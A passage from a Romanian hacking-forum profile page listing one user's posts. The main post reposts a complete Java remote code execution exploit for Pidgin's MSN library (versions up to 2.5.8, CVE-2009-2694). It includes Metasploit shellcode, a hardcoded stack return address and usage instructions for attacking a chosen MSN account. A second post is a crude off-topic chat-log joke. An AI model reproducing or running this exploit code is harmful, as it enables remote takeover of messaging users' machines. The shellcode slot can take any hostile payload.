Jump to content

dRuNNNk

Active Members
 View Profile  See their activity

  • Posts

    141

  • Joined

  • Last visited

  • Days Won

    2

 Content Type 

Posts posted by dRuNNNk

  1. Pidgin MSN <= 2.5.8 Remote Code Execution Exploit

    in Exploituri

    Posted 

    /*
    * Pidgin MSN <= 2.5.8 Remote Code Execution
    *
    * Pierre Nogues - pierz@hotmail.it
    * http://www.indahax.com/
    *
    *
    * Description:
    *        Pidgin is a multi-protocol Instant Messenger.
    *
    *        This is an exploit for the vulnerability[1] discovered in Pidgin by core-security[2].
    *        The library "libmsn" used by pidgin doesn't handle specially crafted MsnSlp packets
    *        which could lead to memory corruption.
    *
    * Affected versions :
    *        Pidgin <= 2.5.8, Adium and other IM using Pidgin-libpurple/libmsn library.
    *
    * Plateforms :
    *        Windows, Linux, Mac
    *
    * Fix :
    *        Fixed in Pidgin 2.5.9
    *        Update to the latest version : http://www.pidgin.im/download/
    *
    * References :
    *        [1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2694
    *        [2] http://www.coresecurity.com/content/libpurple-arbitrary-write
    *        [3] http://www.pidgin.im/news/security/?id=34
    *
    * Usage :
    *        You need the Java MSN Messenger library : http://sourceforge.net/projects/java-jml/
    *        javac.exe -cp "%classpath%;.\jml-1.0b3-full.jar" PidginExploit.java
    *        java -cp "%classpath%;.\jml-1.0b3-full.jar" PdiginExploit YOUR_MSN_EMAIL YOUR_PASSWORD TARGET_MSN_EMAIL
    *
    */

    import net.sf.jml.*;
    import net.sf.jml.event.*;
    import net.sf.jml.impl.*;
    import net.sf.jml.message.p2p.*;
    import net.sf.jml.util.*;

    public class PidginExploit {

       private MsnMessenger messenger;
       private String login;
       private String password;
       private String target;

       private int session_id = NumberUtils.getIntRandom();

       private byte shellcode[] = new byte[] {

               /*
                * if you use the stack in your shellcode do not forgot to change esp because eip == esp == kaboom !
                * sub esp,500
                */
                   (byte) 0x81, (byte) 0xEC, (byte) 0x00, (byte) 0x05, (byte) 0x00, (byte) 0x00,


               /*
                * windows/exec - 121 bytes
                * http://www.metasploit.com
                * EXITFUNC=process, CMD=calc.exe
                */
                   (byte) 0xfc, (byte) 0xe8, (byte) 0x44, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8b, (byte) 0x45,
                   (byte) 0x3c, (byte) 0x8b, (byte) 0x7c, (byte) 0x05, (byte) 0x78, (byte) 0x01, (byte) 0xef, (byte) 0x8b,
                   (byte) 0x4f, (byte) 0x18, (byte) 0x8b, (byte) 0x5f, (byte) 0x20, (byte) 0x01, (byte) 0xeb, (byte) 0x49,
                   (byte) 0x8b, (byte) 0x34, (byte) 0x8b, (byte) 0x01, (byte) 0xee, (byte) 0x31, (byte) 0xc0, (byte) 0x99,
                   (byte) 0xac, (byte) 0x84, (byte) 0xc0, (byte) 0x74, (byte) 0x07, (byte) 0xc1, (byte) 0xca, (byte) 0x0d,
                   (byte) 0x01, (byte) 0xc2, (byte) 0xeb, (byte) 0xf4, (byte) 0x3b, (byte) 0x54, (byte) 0x24, (byte) 0x04,
                   (byte) 0x75, (byte) 0xe5, (byte) 0x8b, (byte) 0x5f, (byte) 0x24, (byte) 0x01, (byte) 0xeb, (byte) 0x66,
                   (byte) 0x8b, (byte) 0x0c, (byte) 0x4b, (byte) 0x8b, (byte) 0x5f, (byte) 0x1c, (byte) 0x01, (byte) 0xeb,
                   (byte) 0x8b, (byte) 0x1c, (byte) 0x8b, (byte) 0x01, (byte) 0xeb, (byte) 0x89, (byte) 0x5c, (byte) 0x24,
                   (byte) 0x04, (byte) 0xc3, (byte) 0x5f, (byte) 0x31, (byte) 0xf6, (byte) 0x60, (byte) 0x56, (byte) 0x64,
                   (byte) 0x8b, (byte) 0x46, (byte) 0x30, (byte) 0x8b, (byte) 0x40, (byte) 0x0c, (byte) 0x8b, (byte) 0x70,
                   (byte) 0x1c, (byte) 0xad, (byte) 0x8b, (byte) 0x68, (byte) 0x08, (byte) 0x89, (byte) 0xf8, (byte) 0x83,
                   (byte) 0xc0, (byte) 0x6a, (byte) 0x50, (byte) 0x68, (byte) 0x7e, (byte) 0xd8, (byte) 0xe2, (byte) 0x73,
                   (byte) 0x68, (byte) 0x98, (byte) 0xfe, (byte) 0x8a, (byte) 0x0e, (byte) 0x57, (byte) 0xff, (byte) 0xe7,
                   (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e, (byte) 0x65, (byte) 0x78, (byte) 0x65,
                   (byte) 0x00
               };

       // reteip = pointer to the return address in the stack
       // The shellcode will be wrote just before reteip
       // and reteip will automaticly point to the shellcode. It's magic !
       private int reteip = 0x0022CFCC;    //stack on XP SP3-FR Pidgin 2.5.8

       private int neweip;
       private byte[] payload = new byte[shellcode.length + 4];
       private int totallength = reteip + 4;

       public static void main(String[] args) throws Exception {

           if(args.length != 3){
               System.out.println("PidginExploit YOUR_MSN_EMAIL YOUR_PASSWORD TARGET_MSN_EMAIL");
           }else{
               PidginExploit exploit = new PidginExploit(args[0],args[1],args[2]);
               exploit.start();
           }

       }

       public PidginExploit(String login, String password, String target){
           this.login = login;
           this.password = password;
           this.target = target;

           neweip = reteip - shellcode.length ;

           for(int i=0;i<shellcode.length;i++)
               payload[i] = shellcode[i];

           payload[shellcode.length] = (byte)(neweip & 0x000000FF);
           payload[shellcode.length + 1] = (byte)((neweip & 0x0000FF00) >> 8);
           payload[shellcode.length + 2] = (byte)((neweip & 0x00FF0000) >> 16);
           payload[shellcode.length + 3] = (byte)((neweip & 0xFF000000) >> 24);
       }

       public void start() {
           messenger = MsnMessengerFactory.createMsnMessenger(login,password);
           messenger.getOwner().setInitStatus(MsnUserStatus.ONLINE);

           messenger.setLogIncoming(false);
           messenger.setLogOutgoing(false);

           initMessenger(messenger);
           messenger.login();
       }

       protected void initMessenger(MsnMessenger messenger) {

       messenger.addContactListListener(new MsnContactListAdapter() {

               public void contactListInitCompleted(MsnMessenger messenger) {

                   final Object id = new Object();

                   messenger.addSwitchboardListener(new MsnSwitchboardAdapter() {

                       public void switchboardStarted(MsnSwitchboard switchboard) {

                           if (id != switchboard.getAttachment())
                               return;

                           switchboard.inviteContact(Email.parseStr(target));
                       }

                       public void contactJoinSwitchboard(MsnSwitchboard switchboard, MsnContact contact) {
                           if (id != switchboard.getAttachment())
                               return;

                           MsnP2PSlpMessage msg = new MsnP2PSlpMessage();
                           msg.setIdentifier(NumberUtils.getIntRandom());
                           msg.setSessionId(session_id);
                           msg.setOffset(0);
                           msg.setTotalLength(totallength);
                           msg.setCurrentLength(totallength);

                           // This flag create a bogus MsnSlpPacket in pidgin memory with a buffer pointing to null
                           // We'll use this buffer to rewrite memory in the stack
                           msg.setFlag(0x1000020);

                           msg.setP2PDest(target);

                           switchboard.sendMessage(msg);

                           System.out.println("First packet sent, waiting for the ACK");

                       }

                       public void switchboardClosed(MsnSwitchboard switchboard) {
                           System.out.println("switchboardClosed");
                           switchboard.getMessenger().removeSwitchboardListener(this);
                       }

                       public void contactLeaveSwitchboard(MsnSwitchboard switchboard, MsnContact contact){
                           System.out.println("contactLeaveSwitchboard");
                       }
                   });
                   messenger.newSwitchboard(id);
               }
           });

           messenger.addMessageListener(new MsnMessageAdapter(){

               public void p2pMessageReceived(MsnSwitchboard switchboard,MsnP2PMessage message,MsnContact contact) {

                   //We receive the ACK of our first packet with the ID of the new bogus packet
                   message.getIdentifier();

                   MsnP2PDataMessage msg = new MsnP2PDataMessage(session_id, message.getIdentifier(), neweip,
                           payload.length, payload, target);

                   switchboard.sendMessage(msg);
                   System.out.println("ACK received && Payload sent !");
                   System.out.println("Exploit OK ! CTRL+C to quit");

               }
           });



           messenger.addMessengerListener(new MsnMessengerAdapter() {

               public void loginCompleted(MsnMessenger messenger) {
                   System.out.println(messenger.getOwner().getEmail() + " login");
               }

               public void logout(MsnMessenger messenger) {
                   System.out.println(messenger.getOwner().getEmail() + " logout");
               }

               public void exceptionCaught(MsnMessenger messenger,
                       Throwable throwable) {
                   System.out.println("caught exception: " + throwable);
               }
           });

       }
    }

    // milw0rm.com [2009-09-09]

    Sursa Milw0rm.com

  16. bash cf - discutii "inteligente" pe mes

    in Off-topic

    Posted

    Dangereux: ce faci mah

    DJ Diego: suparat

    Dangereux: pai ?

    DJ Diego: pula mea fu o faza super penala la shcoala

    Dangereux: ce patzishi ?

    DJ Diego: ma trasa profu de perciuni shi ma ridica in acelashi timp de pe scaun ...

    DJ Diego: iar cum eu vroiam sa nu ma mishc ... sa ma abtzin de la bashina ... ala ma ridica fortzat shi bashina cu trasul perciunilor fura simultane

    DJ Diego: se rimau amandoua in acelashi timp precum platanele lui DJ Tiesto

    DJ Diego: ma jur

    Dangereux: =))))))))))))))))

    Dangereux: ahahahahhaha

    Dangereux: bashed

    Dangereux: =))

    DJ Diego: MATA

    DJ Diego: FMM

    DJ Diego: BA

    DJ Diego: NU

    DJ Diego: !!!

    DJ Diego: NU FII RATAT !!! :))=))

×
×
  • Create New...